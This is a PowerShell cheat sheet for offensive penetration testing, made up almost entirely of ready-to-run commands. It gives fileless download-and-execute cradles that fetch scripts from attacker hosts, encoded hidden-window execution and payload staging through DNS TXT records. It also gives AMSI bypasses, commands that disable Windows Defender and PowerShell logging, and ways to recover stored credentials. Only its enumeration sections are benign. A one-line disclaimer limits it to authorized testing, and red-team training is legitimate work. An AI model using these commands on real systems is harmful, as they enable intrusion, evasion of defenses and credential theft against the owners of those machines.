Overview
PowerShell is the most powerful built-in tool available to Windows penetration testers. It provides rich .NET integration, remote execution capabilities, and access to every Windows API. This page covers the most useful PowerShell techniques for offensive security work.This content is for authorized penetration testing and red team operations only.
PowerShell Locations
C:\windows\syswow64\windowspowershell\v1.0\powershell
C:\Windows\System32\WindowsPowerShell\v1.0\powershell
Basic Commands Reference
Get-Help * # List all loaded help topics
Get-Help process # Topics containing "process"
Get-Help Get-Item -Full # Full help for a cmdlet
Get-Help Get-Item -Examples # Usage examples
Import-Module <modulepath>
Get-Command -Module <modulename>
Download and Execute Payloads
- IEX Download
- DNS TXT Record
- Background with AMSI Bypass
# From CMD — download and execute in memory
echo IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.13:8000/PowerUp.ps1') | powershell -noprofile -
# With proxy credentials
powershell -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('http://10.2.0.5/shell.ps1')|iex"
# PSv3+
iex (iwr '10.10.14.9:8000/ipw.ps1')
# Via COM object
$h=New-Object -ComObject Msxml2.XMLHTTP;$h.open('GET','http://10.10.14.9:8000/ipw.ps1',$false);$h.send();iex $h.responseText
# Host payload in a DNS TXT record, execute via nslookup
powershell . (nslookup -q=txt http://your.owned.domain.com)[-1]
Start-Process -NoNewWindow powershell "-nop -Windowstyle hidden -ep bypass -enc JABhACAAPQAgACc..."
Base64 Encoded Commands
# Encode from Linux for Windows execution
echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.9:8000/9002.ps1')" \
| iconv -t UTF-16LE | base64 -w0
# Execute encoded command
powershell -EncodedCommand <Base64>
powershell -nop -enc <BASE64_ENCODED_PAYLOAD>
Download Methods
# WebClient DownloadFile
(New-Object Net.WebClient).DownloadFile("http://10.10.14.2:80/taskkill.exe","C:\Windows\Temp\taskkill.exe")
# Invoke-WebRequest
Invoke-WebRequest "http://10.10.14.2:80/taskkill.exe" -OutFile "taskkill.exe"
# Wget alias
wget "http://10.10.14.2/nc.bat.exe" -OutFile "C:\ProgramData\taskkill.exe"
# BitsTransfer (background)
Import-Module BitsTransfer
Start-BitsTransfer -Source $url -Destination $output -Asynchronous
AMSI Bypass Techniques
AMSI inspects scripts before execution. Bypassing it is necessary for running offensive PowerShell tools.# Method 1 — Classic amsiInitFailed (likely detected now)
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
# Method 2 — Obfuscated
$a = 'System.Management.Automation.A';$b = 'ms';$u = 'Utils'
$assembly = [Ref].Assembly.GetType(('{0}{1}i{2}' -f $a,$b,$u))
$field = $assembly.GetField(('a{0}iInitFailed' -f $b),'NonPublic,Static')
$field.SetValue($null,$true)
# Method 3 — Managed API Call Hooking (.NET method hooks)
# Hook AmsiScanBuffer to return clean results — see practicalsecurityanalytics.com
- https://amsibypass.com/ — randomized, signature-evading output
- https://amsi.fail
Disable Windows Defender
# Disable real-time monitoring
Set-MpPreference -DisableRealtimeMonitoring $true
# Registry policy disable
New-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender" `
-Name DisableAntiSpyware -Value 1 -PropertyType DWORD -Force
# Set exclusion for current directory
Set-MpPreference -ExclusionPath (pwd) -disablerealtimemonitoring
Add-MpPreference -ExclusionPath (pwd)
Enable WinRM for Remote PowerShell
# Enable PSRemoting
enable-psremoting -force
# Set network profile to Private (required for WinRM)
Get-NetConnectionProfile |
Where{ $_.NetWorkCategory -ne 'Private'} |
ForEach {
$_ | Set-NetConnectionProfile -NetWorkCategory Private -Confirm
}
System Enumeration
# OS version
[System.Environment]::OSVersion.Version
Get-WmiObject -query 'select * from win32_quickfixengineering' | foreach {$_.hotfixid}
# Users and groups
Get-LocalUser | ft Name,Enabled,LastLogon
Get-ChildItem C:\Users -Force | select Name
Get-LocalGroup | ft Name
Get-LocalGroupMember Administrators | ft Name, PrincipalSource
# Processes
Get-Process | where {$_.ProcessName -notlike "svchost*"} | ft ProcessName, Id
# Services
Get-Service
# Scheduled tasks (non-Microsoft)
Get-ScheduledTask | where {$_.TaskPath -notlike "\Microsoft*"} | ft TaskName,TaskPath,State
# Environment variables
Get-ChildItem Env: | ft Key,Value -AutoSize
$env:UserName
PowerShell History
# Read PowerShell command history
Get-Content C:\Users\<USERNAME>\AppData\Roaming\Microsoft\Windows\Powershell\PSReadline\ConsoleHost_history.txt
cat (Get-PSReadlineOption).HistorySavePath
Credential Handling
# Decrypt a saved SecureString credential
$pass = "01000000d08c9ddf..." | convertto-securestring
$user = "DOMAIN\Tom"
$cred = New-Object System.Management.Automation.PSCredential($user, $pass)
$cred.GetNetworkCredential() | fl
# Import from XML
$cred = Import-CliXml -Path cred.xml
$cred.GetNetworkCredential() | Format-List *
# Convert password to SecureString for use
$secpasswd = ConvertTo-SecureString "<password>" -AsPlainText -Force
$mycreds = New-Object System.Management.Automation.PSCredential("<user>", $secpasswd)
# Execute as different user (local)
Start-Process -Credential $creds -NoNewWindow powershell "iex (New-Object Net.WebClient).DownloadString('http://attacker/ipst.ps1')"
# Execute via WinRM as different user
Invoke-Command -Computer TARGET -ScriptBlock { whoami } -Credential $cred
Network Enumeration
# Port scan
Test-NetConnection -Port 80 10.10.10.10
# Scan multiple ports on one host
80,443,8080 | % {
echo ((new-object Net.Sockets.TcpClient).Connect("10.10.10.10",$_)) "Port $_ is open!"
} 2>$null
# Scan port range
1..1024 | % {
echo ((New-Object Net.Sockets.TcpClient).Connect("10.10.10.10", $_)) "TCP port $_ is open"
} 2>$null
# Interfaces
Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address
Get-DnsClientServerAddress -AddressFamily IPv4 | ft
# Firewall rules
Get-NetFirewallRule -Enabled True
Get-NetFirewallRule -Direction Outbound -Enabled True -Action Block
# Routes and ARP
route print
Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,LinkLayerAddress,State
# Hosts file
Get-Content C:\WINDOWS\System32\drivers\etc\hosts
# Network shares
net view
net share
File and Permission Operations
# Find recently modified files
(gci C:\ -r | sort -Descending LastWriteTime | select -first 100) | Select-Object LastWriteTime,FullName
# Check permissions on a path
Get-Acl -Path "C:\Program Files\Vuln Services" | fl
# Find writable directories
accesschk.exe -uwdqs Users c:\
accesschk.exe -uwdqs "Authenticated Users" c:\
Recycle Bin
$shell = New-Object -com shell.application
$rb = $shell.Namespace(10)
$rb.Items()
SUDO Equivalent (Run as Another User)
$pass = ConvertTo-SecureString '<PASSWORD>' -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential("<USERNAME>", $pass)
# Local execution
Start-Process -Credential $cred -NoNewWindow powershell `
"iex (New-Object Net.WebClient).DownloadString('http://10.10.14.11/ipst.ps1')"
# Remote WinRM execution
Invoke-Command -Computer ARKHAM -ScriptBlock { whoami } -Credential $cred
# Another approach
Start-Process powershell -Credential $cred -ArgumentList '-noprofile -command &{Start-Process C:\tools\nc.bat -verb Runas}'
SDDL to Readable Format
ConvertFrom-SddlString "O:BAG:BAD:AI(D;;DC;;;WD)..." | Select DiscretionaryAcl
PS Logging Bypass
# Disable transcription and module logging
# See: https://github.com/leechristensen/Random/blob/master/CSharp/DisablePSLogging.cs
# Use PowerShell version 2 (no AMSI, no script block logging)
powershell.exe -version 2
# Unmanaged PowerShell session (what powerpick/Cobalt Strike uses)
# https://github.com/leechristensen/UnmanagedPowerShell